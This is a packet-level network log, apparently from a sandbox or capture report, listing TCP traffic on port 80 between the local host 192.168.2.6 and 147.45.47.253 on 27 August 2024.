Aug 27, 2024 20:12:01.707178116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707187891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707194090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707195044 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.707201004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.707211971 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.707236052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.708055973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708062887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708076000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708081961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708086014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708091974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708106041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708122015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.708132029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708138943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708147049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.708149910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708157063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708168030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708173990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708178997 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.708178997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708184958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708200932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.708221912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.708930016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708944082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708950043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708956003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708961964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708973885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708980083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708986998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.708990097 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.708992004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.709003925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.709009886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.709016085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.709016085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.709032059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.709038973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.709039927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.709044933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.709059000 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.709084034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.709634066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.709687948 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.710062981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710067987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710079908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710083961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710094929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710100889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710112095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710115910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710127115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.710134983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710141897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710153103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.710155964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.710185051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.710988998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711002111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711016893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711021900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711026907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711039066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711045027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711050987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711055994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711059093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.711061954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711067915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711074114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711077929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711085081 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.711102009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711108923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711119890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711124897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711134911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711139917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.711141109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711153030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.711184978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.711921930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711929083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711949110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711956024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711966991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711972952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711977959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711981058 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.711985111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711991072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.711998940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.712002993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712007999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712013960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712018967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712023020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.712047100 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.712066889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.712501049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712507010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712512970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712518930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712528944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712534904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712546110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712568045 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.712593079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712599039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.712599993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712610960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712615967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712625980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712631941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712637901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712647915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.712666988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.712671995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.712718010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.714175940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714183092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714194059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714200020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714209080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714215040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714221001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714226007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714231968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714236975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714243889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714247942 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.714248896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714277983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714282990 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.714284897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714294910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714297056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.714301109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714306116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714312077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.714330912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.714354992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.715137005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715152025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715162992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715167999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715179920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715186119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715190887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715197086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715202093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715209007 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.715215921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715221882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715229988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.715243101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715249062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715249062 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.715282917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.715285063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.715320110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.715334892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.716015100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716021061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716032982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716037989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716051102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716057062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716068029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716073990 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.716074944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716087103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716099977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716105938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716110945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716114044 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.716123104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716129065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716139078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.716159105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.716159105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716167927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716173887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716178894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716183901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716188908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.716190100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.716224909 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.716243029 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.717514992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717521906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717531919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717536926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717542887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717547894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717554092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717560053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717566013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717571974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717572927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.717578888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717586040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717592001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717612028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.717628002 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.717645884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717653036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717665911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717675924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717681885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717688084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717694044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717701912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.717705965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717711926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717724085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.717742920 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.717756987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.717962980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717969894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717981100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717987061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717992067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.717998028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718013048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718019962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718024969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718028069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.718038082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718045950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718053102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.718070030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718070984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.718076944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718081951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718086958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718092918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.718092918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718103886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718122959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718127012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.718130112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718135118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718142033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.718167067 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.718183994 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.719121933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719127893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719139099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719145060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719150066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719163895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719175100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719180107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719183922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.719185114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719191074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719197989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719211102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719217062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719219923 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.719222069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719228029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719247103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.719257116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719264030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719264984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.719269991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719274998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719280958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719286919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.719295025 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.719314098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.719336033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.720973969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.720980883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.720999002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721004963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721015930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721023083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721045017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.721048117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721051931 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.721056938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721064091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721070051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721076012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721080065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.721081972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721086979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721103907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.721117973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721122980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721133947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721138954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.721141100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721148014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721153975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721165895 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.721175909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721183062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.721184015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.721225977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.722306967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722313881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722345114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722352028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722362995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722364902 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.722368956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722373962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722379923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722384930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722395897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.722398996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:01.722414970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.722435951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.736740112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:01.742360115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:02.007421970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:02.007498026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:02.073787928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:02.078780890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:02.284920931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:02.284979105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.043922901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.049187899 CEST	80	49710	147.45.47.253	192.168.2.6
